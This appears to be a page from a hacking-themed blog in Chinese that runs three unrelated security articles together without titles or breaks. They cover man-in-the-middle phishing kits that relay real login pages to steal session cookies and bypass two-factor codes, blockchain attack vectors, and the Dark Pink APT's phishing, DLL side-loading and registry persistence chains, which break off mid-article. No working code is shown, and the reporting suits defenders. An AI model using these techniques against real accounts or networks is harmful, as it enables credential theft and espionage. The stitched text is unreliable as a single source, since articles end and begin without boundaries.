Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863584627

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

我們可能或多或少都知道一些如何避免網絡釣魚的方法,比如注意拼寫錯誤或其他會提醒我們詐騙者存在的錯誤。然而,這個建議只對傳統的網絡釣魚技術有幫助。中間人(MitM)網絡釣魚攻擊則表明攻擊者可以繞過傳統防禦。

MitM網絡釣魚攻擊是一種最先進的網絡釣魚攻擊類型,能夠攻擊雙因素身份驗證(2FA),同時避免許多基於內容的網絡釣魚檢測引擎。 MitM攻擊不是顯示目標登錄頁面的欺騙版本,而是使用反向代理服務器將原始登錄頁面直接中繼到用戶的瀏覽器。

截至2022年11月,多起網絡釣魚攻擊使用MitM策略來攻擊商業電子郵件帳戶,並成功竊取組織的機密信息。有幾個流行的MitM網絡釣魚工具包,讓黑客只需點擊幾下即可輕鬆發起他們自己的MitM釣魚攻擊。

這些工具包不斷擴展其功能集,同時變得更加直觀和易於使用。許多人已經採用了複雜的偽裝技術,使他們能夠逃避傳統網絡釣魚檢測系統的檢測。因此,我們預計這些MitM網絡釣魚攻擊的流行率將在不久的將來繼續上升。

你可以通過高級URL過濾實時阻止MitM釣魚頁面,從而免受本文中討論的攻擊。

傳統的網絡釣魚攻擊釣魚攻擊的目的是建立一個虛假的登錄頁面,誘使用戶輸入登錄憑證。

在傳統的網絡釣魚攻擊中,攻擊者通常會創建自己的網絡釣魚頁面來模仿合法的登錄頁面。他們可能會將其託管在新創建的域上,破壞合法域並將其網絡釣魚頁面託管在該域上,或者使用現有的SaaS平台託管其網絡釣魚內容。

“網絡釣魚工具包”簡化了創建和部署網絡釣魚攻擊的過程,提供了一套標準程序或腳本,這樣即使是沒有經驗的攻擊者也可以發起自己的網絡釣魚攻擊。這些工具通常使用模板化的網頁,模仿目標公司的實際登錄頁面。基於web的網絡釣魚即服務(PhaaS)平台的攻擊服務則更進一步,如Caffeine(如圖1所示)和Robin Banks,通過提供易於使用的界面,允許攻擊者配置和部署網絡釣魚攻擊。

1.png

網絡釣魚即服務(PhaaS)平台Caffeine的主頁於2022年10月首次公佈

在傳統的網絡釣魚攻擊中,網絡釣魚頁面通常直接託管在惡意或受損的服務器上,且不一定是合法登錄頁面的完美副本。例如,如果攻擊者要創建一個模仿GitHub登錄的網絡釣魚頁面,他們可能不想重新創建圍繞核心登錄功能的所有其他功能,例如“忘記我的密碼”鏈接。

專家或細心的觀察者可能會注意到合法的GitHub登錄頁面和欺騙的釣魚頁面之間的細微差異,並意識到欺騙的頁面是非法的。下圖顯示了釣魚頁面與原始目標登錄頁面的不同之處。

類似地,基於內容的自動網絡釣魚預防引擎可能會注意到這些非法登錄頁麵包含可疑內容的跡象(例如斷開的鏈接或拼寫錯誤),並將其標記為可能的網絡釣魚網站。

2.png

左圖:網絡釣魚攻擊中使用的假冒Microsoft登錄頁面示例,右圖:截至2022年11月21日的原始Microsoft登錄頁面

即使有這些缺陷,這些網絡釣魚活動中的收件人數量之多意味著一些目標仍然可能成為這些攻擊的受害者。雙因素身份驗證(2FA),也稱為多因素身份驗證,已成為一種日益流行的添加額外安全層以防止成功的網絡釣魚攻擊的方式。

雙因素身份驗證實際應用的一個例子是,除了要求用戶名和密碼外,合法的登錄網站還要求額外的身份驗證形式,例如發送到用戶註冊電子郵件地址的一次性密碼(OTP)。即使攻擊者通過成功的釣魚攻擊獲得了受害者的用戶名和密碼,他們也無法以該用戶身份登錄,因為他們無法檢索在惡意登錄嘗試期間發送的OTP。

MitM網絡釣魚攻擊MitM網絡釣魚攻擊是一種繞過基於內容的防禦和雙因素身份驗證的新型網絡釣魚攻擊。與傳統的網絡釣魚攻擊不同,MitM攻擊顯示的是合法登錄頁面的獨立但虛假的版本,它向用戶顯示的內容與他們在合法登錄頁面上看到的內容完全相同。 MitM服務器沒有託管合法登錄頁面的副本,而是簡單地獲取合法站點上呈現的內容並將其轉發給最終用戶,如下圖所示。

換句話說,MitM服務器充當目標和合法登錄頁面之間的代理。當目標將其憑據輸入到代理頁面時,MitM服務器將憑據存儲起來,並將其轉發到合法的登錄頁面,從而成功登錄。從受害者的角度來看,一切看起來就像他們登錄到了合法頁面。

此外,這兩個連接(MitM服務器到合法站點,受害者到MitM服務器)都是通過HTTPS協議提供的,因此受害者將根據web瀏覽器地址欄中的掛鎖圖標看到連接是“安全的”。

3.png

MitM網絡釣魚攻擊的可視化表示

由於顯示給目標的內容與他們在合法登錄頁面上看到的內容完全相同,這種基於代理的方法使受害者更難從視覺上辨別出可疑的事情正在發生,並且使基於內容的網絡釣魚檢測引擎很難注意到任何可疑的事情。

MitM網絡釣魚攻擊就像通過隱藏得很好的鏡子觀看原畫。 MitM攻擊除了上述好處外,還有其他幾個好處。例如,如果用戶設置了雙因素身份驗證,這種基於代理的方法允許MitM服務器自動繞過這個雙因素身份驗證。 在MitM服務器將用戶名和密碼轉發到合法站點後,合法站點將按照其正常行為向其客戶端發送OTP。如果被欺騙,目標將在MitM網絡釣魚頁面中輸入一次性密碼。這允許MitM服務器將密碼中繼到合法站點,從而完全完成登錄嘗試。

此時,MitM服務器將從合法站點接收一個真實的會話cookie。這種持久的登錄允許受害者繼續正常瀏覽網站(儘管仍然通過攻擊者的web服務器),從而進一步保持網絡釣魚攻擊的合法性。

真實發生的MitM網絡釣魚攻擊在撰寫本文時,黑客可以使用幾個工具輕鬆地部署他們自己的MitM網絡釣魚攻擊。與傳統的釣魚套件類似,這些MitM釣魚套件提供了一組腳本,或者在某些情況下,甚至是圖形用戶界面(GUI),使攻擊者可以輕鬆配置和發起MitM釣魚攻擊。

接下來,我們將介紹一些流行的MitM釣魚工具包。這些工具包都採用了將原始登錄頁面傳遞給受害者瀏覽器的核心策略,但它們在實現細節和附加功能(例如,隱身和TLS證書生成)方面有所不同。 例如Evilginx2,生成唯一的標記化URL(又名“誘餌”),必須直接訪問以顯示釣魚內容。對任何其他路徑的請求都會導致重定向到良性站點。

1.Evilginx2 ,2018年7月(2017年5月發布的第一個版本)首次發布,功能豐富的MitM釣魚工具包,具有易於使用的命令行界面。具有內置隱藏功能。生成URL中必須存在的唯一令牌(誘餌),此工具的命令行界面如下圖所示。

2.Modlishka ,2019年1月發布,自動化幾個配置步驟和攻擊後的操作,例如使用被盜的會話cookie啟動一個插入指令的Chrome實例。

3.Muraena,2019年5月發布,barebones MitM工具包。與其他自動創建TLS證書的工具包不同,Muraena要求攻擊者提供自己的證書。

4.EvilnoVNC,2022年9月發布,使用真實的web瀏覽器在攻擊服務器上渲染登錄頁面,並通過VNC將內容提供給受害者的瀏覽器。

5.EvilProxy,2022年9月發布,MitM網絡釣魚攻擊的網絡釣魚即服務平台。提供一個易於使用的GUI,攻擊者可以設置和管理他們自己的MitM網絡釣魚活動。

4.png

使用Evilginx2命令行界面來啟動和執行MitM釣魚攻擊的屏幕截圖

在今年之前,與MitM相關的策略已經被用來成功地模擬大型軟件組織,暴露數億用戶的個人數據,並從新興初創公司竊取數百萬美元。然而,這些攻擊並不一定使用網絡釣魚本身作為其主要攻擊載體。現在,基於MitM的網絡釣魚攻擊已經開始佔據中心位置。

2022年中MitM網絡釣魚活動2022年7月,微軟報告了一起使用Evilginx2竊取目標微軟證書的網絡釣魚活動。該活動向潛在受害者發送電子郵件,促使他們下載一個重要的附件。在打開附件並通過一系列重定向路由之後,受害者將到達如下圖所示的MitM釣魚頁面。在攻擊者成功攔截身份驗證cookie後,他們會登錄到受攻擊的Outlook帳戶,並不斷搜索與金融相關的電子郵件和附件,以尋找欺詐的機會。

5.png

MitM憑證竊取頁面,這是微軟在2022年7月報告的一部分

為了避免被發現,該活動使用了各種隱藏技術,以確保只有當受害者通過原始HTML附件導航到頁面時,釣魚內容才會加載。到微軟的威脅情報文章發表時,在幾個月的時間裡,已有超過10000個組織成為了這次活動的目標。

根據Palo Alto 網絡高級URL過濾日誌,他們的高級URL過濾服務早在2021年9月就已經開始阻止對攻擊者域上託管的標記化釣魚URL的網絡流量(例如login[.]mcrsfts-passwdupdate[.]com/HMxVQmxZ)。

2022年底MitM網絡釣魚活動2022年9月,另一個活動被發現使用MitM網絡釣魚策略竊取目標的GitHub登錄憑據。幾個域被用來模擬CircleCI登錄頁面,提示受害者使用GitHub憑據登錄。

6.png

ci[.]com.2022年9月GitHub釣魚活動的示例登錄頁面,點擊“登錄GitHub”,用戶會看到一個MitM憑證竊取頁面,它反映了GitHub的實際登錄頁面。

7.png

上圖中網頁鏈接到的MitM憑證竊取頁面,該網頁不託管在網絡釣魚服務器上,而是從GitHub本身轉發

對於已經設置了基於OTP的雙因素身份驗證的目標,MitM服務器還會提示他們輸入OTP,然後將其轉發到GitHub,從而允許成功登錄。從那裡,攻擊者將通過快速創建個人訪問令牌(pat)或將他們自己的SSH密鑰添加到受害者的帳戶來堅持他們的訪問權限。這樣,即使受害者更改了用戶名和密碼,攻擊者也可以繼續訪問被洩露的帳戶。

Dropbox在2022年11月成為MitM網絡釣魚攻擊的受害者,攻擊者可以攻擊並複制130個私人存儲庫。這表明,這些MitM網絡釣魚攻擊已經在實際活動中產生了重大影響。在Dropbox對這次攻擊的回應中,他們計劃將雙因素身份驗證協議從OTP轉移到WebAuthn,這是一種更能抵禦網絡釣魚的雙因素身份驗證形式。

最近幾週,Palo Alto 的高級URL過濾服務檢測到更多的MitM釣魚URL,像Microsoft 365這樣的企業登錄是主要目標。

8.png

-r-us[.]co[.]uk.Palo Alto 的高級URL過濾服務檢測到以Microsoft為目標的MitM網絡釣魚頁面

9.png

microsoftonlinesupport[.]cf.高級URL過濾服務檢測到的針對Microsoft 365的MitM網絡釣魚頁面

隨著MitM網絡釣魚工具包越來越受歡迎,並繼續擴展其功能集,MitM網絡釣魚攻擊的流行程度也會增加。事實上,Evilginx 3.0預計很快就將發布,同時還將提供如何成功執行MitM網絡釣魚攻擊的在線課程。

總結MitM網絡釣魚攻擊已經在現實世界中造成了嚴重破壞,隨著MitM網絡釣魚工具包的不斷普及,預計其流行程度將會上升。因此,對於各類組織來說,保護自己免受這類網絡釣魚攻擊變得越來越重要。

目前,終端用戶可以採取的保護自己免受MitM網絡釣魚攻擊的措施包括:

1.在輸入任何憑證之前驗證URL的有效性,例如,確保一個URL真的是“github[.]com”,而不是“github-impersonator[.]org”。

2.使用密碼管理器存儲和輸入憑據,如果你發現自己處於密碼管理器無法識別的網站上的MitM釣魚頁面,密碼管理器將在輸入憑據之前發出警告。

3.使用最先進的MFA方法,如硬件安全密鑰或網絡認證雙因素身份驗證。

4.使用高級URL過濾服務的用戶可以通過產品的內嵌網絡釣魚URL檢測(包括本文中提到的MitM網絡釣魚URL)免受MitM網絡釣魚攻擊。高級URL過濾會實時分析網絡流量,在攻擊到達目標之前阻止攻擊。這樣,即使MitM釣魚攻擊使用隱藏的URL(如Evilginx2的情況),高級URL過濾也可以在憑證被盜之前阻止攻擊。

區塊鏈並不像我們想像的那麼安全。儘管安全性貫穿於所有區塊鏈技術,但即使是最強大的區塊鏈也會受到現代網絡犯罪分子的攻擊。 Apriorit 專家已經分析了針對Coincheck、Verge和Bancor交易所的攻擊,這些攻擊極大地損害了區塊鏈本身的聲譽。

區塊鏈可以很好地抵抗傳統的網絡攻擊,但網絡犯罪分子正在想出專門針對區塊鏈技術的新方法。在本文中,我們描述了針對區塊鏈技術的主要攻擊媒介,並了解了迄今為止最重大的區塊鏈攻擊。

網絡犯罪分子已經設法濫用區塊鏈來執行惡意操作。如果攻擊者沒有收到加密貨幣獎勵,像WannaCry和Petya這樣的勒索軟件攻擊就不會如此大規模。現在,看起來黑客正在考慮利用區塊鏈安全漏洞作為他們的主要收入來源。

2019 年3 月,白帽黑客在短短30 天內在各種區塊鍊和加密貨幣平台中發現了43 個漏洞。他們甚至在Coinbase、EOS和Tezos等著名平台中發現了漏洞。

然而,弱點通常很難檢測到,因為它們可能隱藏在不顯眼的地方。例如,Parity 多重簽名錢包是通過破壞其中具有提取功能的庫而被黑客入侵的。攻擊者設法將庫本身初始化為錢包,並聲稱擁有它的所有者權利。結果,573 個錢包受到影響,價值3000 萬美元的加密貨幣被盜,另外被白帽黑客組織救出的1.8 億美元後來歸還給了合法所有者。

通過攻擊比特幣和以太坊等龐大的網絡,網絡犯罪分子表明他們足夠聰明,可以反駁區塊鏈安全的神話。讓我們考慮五個最常見的區塊鏈攻擊向量:

image.png

五個區塊鏈攻擊向量

1.區塊鍊網絡攻擊區塊鍊網絡包括創建和運行交易並提供其他服務的節點。例如,比特幣網絡由發送和接收交易的節點以及將批准的交易添加到區塊的礦工組成。網絡罪犯尋找網絡漏洞並通過以下類型的攻擊利用它們。

分佈式拒絕服務分佈式拒絕服務(DDoS) 攻擊很難在區塊鍊網絡上執行,但它們是可能的。

當使用DDoS 攻擊區塊鍊網絡時,黑客打算通過大量請求消耗其所有處理資源來關閉服務器。 DDoS 攻擊者旨在斷開網絡的礦池、電子錢包、加密貨幣交易所和其他金融服務。區塊鏈也可以使用DDoS 殭屍網絡在其應用程序層受到DDoS 攻擊。

2017 年,Bitfinex 遭受了大規模的DDoS 攻擊。這對IOTA 基金會來說尤其不方便,IOTA 基金會在Bitfinex 通知用戶此次攻擊的前一天就在平台上發布了他們的IOTA 代幣。三年後,即2020 年2 月,在OKEx 加密貨幣交易所注意到類似攻擊的一天后, Bitfinex又經歷了一次DDoS 攻擊。

交易延展性攻擊交易延展性攻擊旨在誘使受害者支付兩次。在比特幣網絡中,每筆交易都有一個散列,即交易ID。如果攻擊者設法更改交易的ID,他們可以嘗試將更改後的哈希值的交易廣播到網絡,並在原始交易之前確認它。如果成功,發送方將認為初始交易失敗,而資金仍將從發送方的賬戶中提取。如果發件人重複交易,相同的金額將被扣除兩次。一旦這兩筆交易被礦工確認,這次黑客攻擊就成功了。

比特幣交易所Mt. Gox在2014 年因延展性攻擊而破產。然而,比特幣似乎通過引入隔離見證(SegWit) 流程解決了這個問題,該流程將簽名數據與比特幣交易分開,並用對每個簽名的不可延展的哈希承諾。

時間劫持時間劫持利用了比特幣時間戳處理中的一個理論漏洞。在時間劫持攻擊期間,黑客更改節點的網絡時間計數器並強制節點接受替代區塊鏈。當惡意用戶使用不准確的時間戳將多個虛假對等點添加到網絡時,就可以實現這一點。但是,可以通過限制接受時間範圍或使用節點的系統時間來防止時間劫持攻擊。

路由攻擊路由攻擊可以影響單個節點和整個網絡。這種黑客攻擊的想法是在將交易推送給同行之前篡改交易。其他節點幾乎不可能檢測到這種篡改,因為黑客將網絡劃分為無法相互通信的分區。路由攻擊實際上包括兩個獨立的攻擊:

分區攻擊,將網絡節點分成不同的組

延遲攻擊,篡改傳播消息並將它們發送到網絡

女巫攻擊通過將多個標識符分配給同一節點來安排女巫攻擊。區塊鍊網絡沒有可信節點,每個請求都會發送到多個節點。

image.png

圖1. 女巫攻擊

在Sybil 攻擊期間,黑客控制了網絡中的多個節點。然後受害者被關閉所有交易的假節點包圍。最後,受害者對雙花攻擊持開放態度。 Sybil 攻擊很難檢測和預防,但以下措施可能有效:增加創建新身份的成本,需要某種類型的信任才能加入網絡,或根據聲譽確定用戶權力。

蝕攻擊eclipse 攻擊需要黑客控制大量IP 地址或擁有分佈式殭屍網絡。然後攻擊者覆蓋受害者節點“已嘗試”表中的地址並等待受害者節點重新啟動。重啟後,受害者節點的所有出站連接都將被重定向到攻擊者控制的IP地址。這使得受害者無法獲得他們感興趣的交易。波士頓大學的研究人員對以太坊網絡發起了一次日食攻擊,並設法僅使用一兩台機器就完成了攻擊。

對權益證明網絡的遠程攻擊遠程攻擊針對使用股權證明(PoS) 共識算法的網絡,在該算法中,用戶可以根據持有的硬幣數量來挖掘或驗證區塊交易。

這些攻擊可以分為三類:

簡單- 當節點不檢查塊時間戳時,權益證明協議的簡單實現

事後腐敗——試圖在給定時間範圍內鑄造比主鏈更多的區塊

Stake bleeding——將交易從誠實維護的區塊鏈複製到攻擊者維護的私有區塊鏈

在進行遠程攻擊時,黑客使用購買或竊取的私鑰,該私鑰具有相當大的代幣餘額,該私鑰過去已經用於驗證。然後,黑客可以生成區塊鏈的替代歷史並根據PoS 驗證增加獎勵。

2. 用戶錢包攻擊實際上,在人們與它們互動之前,區塊鍊和網絡安全就像鹽和胡椒一樣在一起。這聽起來可能令人驚訝,但區塊鏈用戶構成了最大的安全威脅。人們了解區塊鏈在網絡安全中的用途,往往會高估區塊鏈的安全性而忽視其弱點。用戶錢包憑證是網絡犯罪分子的主要目標。

為了獲取錢包憑證,黑客嘗試使用網絡釣魚和字典攻擊等傳統方法以及尋找加密算法弱點等新的複雜方法。以下是攻擊用戶錢包的最常見方法的概述。

網絡釣魚2018 年,IOTA 錢包發起了一次攻擊,發起人是iotaseed.io(現已下線),這是一個虛假的在線種子生成器。黑客利用這項服務進行了網絡釣魚活動,並收集了帶有秘密種子的日誌。結果,2018 年1 月,黑客成功從受害者的錢包中竊取了價值超過400 萬美元的IOTA。

字典攻擊在這些攻擊中,黑客試圖通過嘗試普通密碼(如password1)的哈希值來破解受害者的加密哈希和鹽。通過將明文密碼轉換為加密哈希,攻擊者可以找到錢包憑證。

易受攻擊的簽名區塊鍊網絡使用各種加密算法來創建用戶簽名,但它們也可能存在漏洞。例如,比特幣使用ECDSA 密碼算法自動生成唯一的私鑰。然而,看起來ECDSA 的熵不足,這可能導致多個簽名中出現相同的隨機值。 IOTA 還面臨著其舊的Curl 哈希函數的密碼學問題。

有缺陷的密鑰生成利用密鑰生成中的漏洞,被稱為Johoe 的黑客在2014 年12 月獲得了Blockchain.info 提供的私鑰。這次攻擊的發生是由於代碼更新期間出現的錯誤導致生成公共輸入的隨機性差用戶密鑰。儘管此漏洞很快得到緩解,但ECDSA 算法仍然可能存在該漏洞。

對冷錢包的攻擊硬件錢包或冷錢包也可能被黑客入侵。例如,研究人員利用Nano S Ledger 錢包中的漏洞發起了Evil Maid 攻擊。由於這次黑客攻擊,研究人員獲得了私鑰以及受害者的PIN、恢復種子和密碼。

最近的一次冷錢包攻擊發生在2019 年,當時UPbit加密貨幣交易所正在將資金轉移到冷錢包。當您預計會受到網絡攻擊時,這是凍結加密貨幣的常用方法。黑客設法竊取了342,000 ETH,顯然是因為他們知道交易的時間。

對熱錢包的攻擊熱錢包是用於存儲私人加密密鑰的聯網應用程序。儘管加密貨幣交易所的所有者聲稱他們將錢包中的用戶數據與網絡斷開連接,但2018 年針對Coincheck 的5 億美元攻擊證明這並非總是如此。

2019 年6 月,對GateHub 的攻擊導致數十個原生XRP錢包的未經授權訪問和加密資產被盜。由於系統漏洞,新加坡加密貨幣交易所Bitrue也幾乎同時遭遇了熱錢包攻擊。結果,黑客設法竊取了價值超過450 萬美元的XRP 和237,500 美元的ADA 資金。

長期以來,亞太地區國家一直是高級持續性威脅(APT)的重災區。最近網絡安全公司Group-IB發現了一波針對東南亞以及歐洲地區的攻擊,目前暫將其命名為Dark Pink,截止發文還沒有分析出其背後的攻擊者,因此極有可能Dark Pink是一個全新的APT組織。為研究方便,本文就將其幕後組織稱為Dark Pink APT組織。

有證據表明,“Dark Pink”活動早在2021年年中就開始了,2022年中後期激增。目前已確認的受害者包括菲律賓和馬來西亞的兩個軍事機構,柬埔寨、印度尼西亞和波斯尼亞和黑塞哥維那的政府機構,以及越南的一個宗教組織。

攻擊者正在利用一套新的戰術、技術和程序,他們利用一個自定義工具包,包括TelePowerBot、KamiKakaBot、Cucky和Ctealer信息竊取器(所有名字都被稱為Group-IB),旨在竊取政府和軍事組織網絡上的機密文件。特別值得注意的是,Dark Pink甚至有能力攻擊連接到受攻擊設備的USB設備,甚至訪問受攻擊設備上的即時通訊工具。此外,Dark Pink組織利用兩種核心技術,其中一種是DLL側加載和執行由文件類型關聯觸發的惡意內容(事件觸發執行:更改默認文件關聯)。

重要發現在2022年6月至12月期間,Dark Pink對某個目標發動了七次攻擊。

研究人員將Dark Pink的首次活動與攻擊者利用的Github賬戶聯繫在一起,首次攻擊發生在2022年6月。他們的活動在2022年的最後三個月達到頂峰,當時他們發動了四次攻擊。

Dark Pink的受害者分佈在五個亞太國家(越南、馬來西亞、印度尼西亞、柬埔寨、菲律賓)和一個歐洲國家(波黑)。攻擊對象包括軍事機構、政府和發展機構、宗教組織和一個非營利組織。

Dark Pink APT的主要目標是進行商業間諜活動,竊取文件,從受攻擊設備的麥克風中捕獲聲音,並從即時通訊工具中竊取數據。

Dark Pink最初的核心載體是針對魚叉式網絡釣魚郵件,攻擊者假扮成求職者。有證據表明,“Dark Pink”背後的組織掃描了發布空缺職位的網站,並偽裝成求職者發送了電子郵件。

幾乎所有工具都是定制,包括TelePowerBot和KamiKakaBot,以及Cucky和Ctealer竊取程序。整個調查過程中,我們只發現了一個公共工具:PowerSploit/Get-MicrophoneAudio。

Dark Pink APT使用了一種稱為事件觸發執行的罕見技術,通過更改默認文件關聯,以確保惡意TelePowerBot惡意軟件的啟動。這些特殊攻擊者利用的另一種技術是DLL側加載,他們用它來避免在初始訪問期間被發現。

攻擊者創建了一組PowerShell腳本,用於在受害者和攻擊者的基礎設施之間進行通信,其目的是橫向移動和網絡偵察。

受攻擊的基礎設施和Dark Pink背後的攻擊者之間的所有通信都基於Telegram API。

Dark PinkAPT組織實施的攻擊非常先進。他們利用複雜的自定義工具組合來攻破多個政府和軍事組織的防禦系統。首次發現是2022年6月在越南的一個宗教組織上註冊的攻擊。然而,在此之前,他們就一直很活躍,因為Group-IB研究人員發現了這些攻擊者使用的Github賬戶,其活動可以追溯到2021年年中。根據研究,由攻擊者初始化的惡意軟件可以發出命令,讓受攻擊的設備從這個特定的Github帳戶下載模塊。有趣的是,在迄今為止的整個活動期間,攻擊者似乎只使用了一個Github賬戶,這可能表明他們已經能夠在很長一段時間內不被發現。

1.png

上圖詳細顯示2021(上圖)和2022年(下圖)Dark Pink APT在Github賬戶上的活動

在2022年6月的攻擊之後,Group-IB研究人員無法將任何其他惡意活動歸因於Dark Pink。然而,這個APT組織在夏末突然活躍起來,當時Group-IB注意到2022年8月越南一家非營利組織遭受的攻擊具有6月攻擊的所有特徵。這樣,Group-IB就能夠將9月份的一次攻擊、10月份的兩次攻擊(一次成功,一次失敗)、11月份的兩次攻擊和12月份的一次攻擊統一在一起。 2022年12月8日,印度尼西亞政府組織就被攻擊了一次。

2.png

Dark Pink APT時間線和攻擊目標

攻擊鏈Dark Pink攻擊的複雜性體現在它執行了多個不同攻擊鏈。攻擊者能夠用幾種編程語言製作工具,這使他們在試圖破壞防禦基礎設施並在受害者的網絡上獲得持久性時提供了很大的靈活性。因此,我們將討論這些過程的不同步驟和階段,但需要注意的是,大部分攻擊都基於PowerShell腳本或命令,旨在啟動受攻擊網絡和攻擊者基礎設施之間的通信。

最初的訪問是通過成功的魚叉式網絡釣魚郵件實現的,這些信息包含一個短鏈接,引導受害者下載惡意ISO映像,在一個示例中,Group-IB發現該映像存儲在公共免費共享服務MediaFire上。一旦受害者下載了ISO映像,攻擊者就可以使用三個不同的攻擊鏈,我們將在下面詳細介紹。

首先引起我們注意的是,攻擊者和受害者設備之間的所有通信都是基於Telegram API的。由TelePowerBot和KamiKakaBot創建的自定義模塊旨在通過攻擊者控制的Telegram木馬讀取和執行命令。有趣的是,這些模塊是用不同的編程語言開發的。 TelePowerBot是用PowerShell腳本表示的,而KamiKakaBot則是在.NET上開發的,其中包含了竊取功能。自2021年9月以來,攻擊者一直使用相同的Telegram木馬程序。

此外,Dark Pink APT利用自定義Ctealer和Cucky從網絡瀏覽器中竊取受害者的憑據。

首次訪問Dark Pink的成功很大程度上要歸功於用於獲得初始訪問權限的魚叉式網絡釣魚郵件。在一個示例中,Group-IB能夠找到攻擊者發送的原始電子郵件。在這個示例中,攻擊者假扮成一名申請公關和傳播實習生職位的求職者。在郵件中,攻擊者提到他們在求職網站上發現了這個空缺,這可能表明攻擊者掃描了求職板,並使用這些信息創建了高度相關的釣魚電子郵件。

這些電子郵件包含一個鏈接到免費使用的文件共享網站的短URL,受害者可以從中選擇下載一個ISO映像,其中包含攻擊受害者網絡所需的所有文件。在調查過程中,研究人員發現攻擊者利用了幾個不同的ISO映像,我們還注意到這些ISO映像中包含的文件因情況而異。根據目前掌握的信息,我們堅信攻擊者會向每個受害者發送獨特的電子郵件,我們認為攻擊者可以通過電子郵件將惡意ISO鏡像作為直接附件發送給受害者。

Dark Pink APT發送的原始魚叉式釣魚郵件截圖,其中記錄了文件共享網站上ISO映像的存儲情況

魚叉式網絡釣魚郵件中發送的ISO映像包含不同數量的文件。目前,在攻擊者發送的所有ISO映像中發現了三種類型的文件:已簽名的可執行文件、非惡意的誘餌文檔(例如.doc、pdf或.jpg)和惡意DLL文件。鑑於這封電子郵件與一個職位空缺有關,我們可以假設受害者首先會尋找所謂的申請人的簡歷,簡歷通常以MS Word文檔的形式發送。然而,在Dark Pink攻擊中,攻擊者在ISO鏡像中包含一個模仿MS Word文件的.exe文件。該文件在文件名中包含“.doc”,並包含MS Word圖標,以此來迷惑受害者並認為該文件可以安全打開。

4.png

Group-IB發現一個ISO圖像中包含的五個文件的屏幕截圖。請注意,doc和.dll文件位於隱藏視圖中

如果受害者首先執行.exe文件,與.exe文件位於同一文件夾中的惡意DLL文件將自動運行。這是一種被稱為DLL側加載的攻擊者使用的技術。 DLL執行的主要功能是確保攻擊者的核心惡意軟件TelePowerBot獲得持久性。在文件執行完成之前,誘餌文件(如信件、簡歷)會顯示在受害者的屏幕上。

木馬執行和持久性目前Group-IB研究人員已完整了解了TelePowerBot或KamiKakaBot在受害者設備上啟動的過程。如上所述,包含這兩個惡意軟件之一的惡意DLL文件可以位於魚叉式網絡釣魚活動期間發送的ISO映像中。在Group-IB分析的一個案例中,攻擊者使用了一系列MS Office文檔並利用了模板注入(Template Injection),即攻擊者在初始文檔中插入指向包含惡意宏代碼的模板文檔的鏈接。在Group-IB研究人員檢查的另外兩個案例中,Dark Pink背後的攻擊者通過DLL側加載技術啟動了他們的惡意軟件。總的來說,我們發現了攻擊者利用的三個不同的攻擊鏈,我們將在下面詳細介紹它們。

攻擊鏈1:全包式ISO攻擊鏈的第一個變體導致ISO映像通過魚叉式網絡釣魚郵件發送給受害者。此ISO映像包含一個惡意DLL文件,其中包含TelePowerDropper(名稱是Group-IB定義的)。此DLL文件的主要目標是在受攻擊設備的註冊表中獲得TelePowerBot的持久性。在某些情況下,DLL文件還可以啟動攻擊者的專有竊取程序,它會解析來自受害者設備上瀏覽器的數據,並將其存儲在本地文件夾中。在初始訪問期間,攻擊者可以啟動任何類型的竊取程序。 Dark Pink可以在攻擊的所有階段發送特殊命令來下載和啟動竊取程序。

5.png

攻擊鏈1的完整示意圖

需要注意的是,在此階段DLL文件已打包。當文件啟動時,它對自己進行解密,並將控制權傳遞給自己的解壓縮版本。此外,一旦DLL文件啟動,就會創建一個互斥鎖。其中一個例子是gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5。完成此步驟後,啟動TelePowerBot的命令將添加到自動運行中。這意味著每次用戶登錄系統時,TelePowerBot都會被啟動。這可以通過通過路徑HKCU\Environment\UserInitMprLogonScript創建註冊表項來實現。新建的密鑰值如下:

6.png

上面的代碼顯示,該命令啟動了一個標準實用程序whoami,它顯示有關該設備當前用戶的信息。輸出被重定向到文件並完成執行。

此時還不知道TelePowerBot如何開始,答案的關鍵是文件擴展名.abcd。簡而言之,攻擊者使用此擴展名創建一個文件,作為名為“事件觸發執行:更改默認文件關聯”的技術的一部分。其思想是添加一個處理程序來處理註冊表項樹中無法識別的文件擴展名。這在下面的截圖中有詳細說明。

7.png

創建擴展名為.abcd的文件時運行的詳細命令截圖

上面的屏幕截圖詳細介紹了在創建具有特定擴展名.abcd的文件時觸發的PowerShell命令的一部分。 PowerShell命令存儲在base64視圖中,並且高度模糊。這些命令的結果相對簡單:讀取註冊表項、解密並啟動TelePowerBot。

攻擊鏈2:Github宏攻擊鏈的第二個變異與前一個幾乎完全相同。唯一不同的是初始階段使用的文件。在我們的分析過程中,我們發現攻擊者使用命令在打開初始ISO文件中包含的.doc時自動從Github下載包含TelePowerBot的惡意模板文檔。寫入此模板文檔的宏代碼可以確保惡意軟件的持久性。

8.png

攻擊鏈2的完整示意圖

在本例中,發送給受害者的ISO映像包含一個MS Word文檔,導致從Github自動下載包含TelePowerBot的惡意模板文檔。為了在初始訪問期間避開檢測,宏代碼被寫入模板文檔。這種技術被稱為模板注入。宏包含多個帶有字段的表單,在執行過程中,這些表單字段的值將被讀取並作為註冊表項中的值建立。

這個技巧可以幫助惡意軟件躲避檢測,因為文檔本身不包含任何惡意功能或代碼。編碼的文檔包含帶有幾個參數的表單,這些文件中包含的宏可以讀取這些值,並確保TelePowerBot在受害者的設備上具有持久性。

9.png

截圖詳細顯示了兩個包含預定義密鑰和值的表單,這些密鑰和值是由惡意宏代碼寫入到註冊表中發送給受害者的MS Word文件中。

攻擊鏈3:X(ML)標記點我們將詳細介紹的第三種也是最後一種攻擊鏈變體是Group-IB分析的最近一次Dark Pink攻擊中使用的一個,在2022年12月8日,攻擊者破壞了印度尼西亞政府機構的網絡。通過魚叉式網絡釣魚電子郵件發送給受害者的ISO映像包含誘餌文檔、已簽名的合法MS Word文件和名為KamiKakaDropper的惡意DLL。此攻擊載體的主要目標是在受攻擊的設備上持久化KamiKakaBot。在這個攻擊鏈中,XML文件位於加密視圖中誘餌文檔的末尾。與攻擊鏈1一樣,惡意DLL文件是由DLL側加載技術啟動的。一旦DLL文件啟動,啟動下一階段攻擊鏈的XML文件將從誘餌文檔中解密並保存在受攻擊的設備中。

10.png

攻擊鏈3的完整示意圖

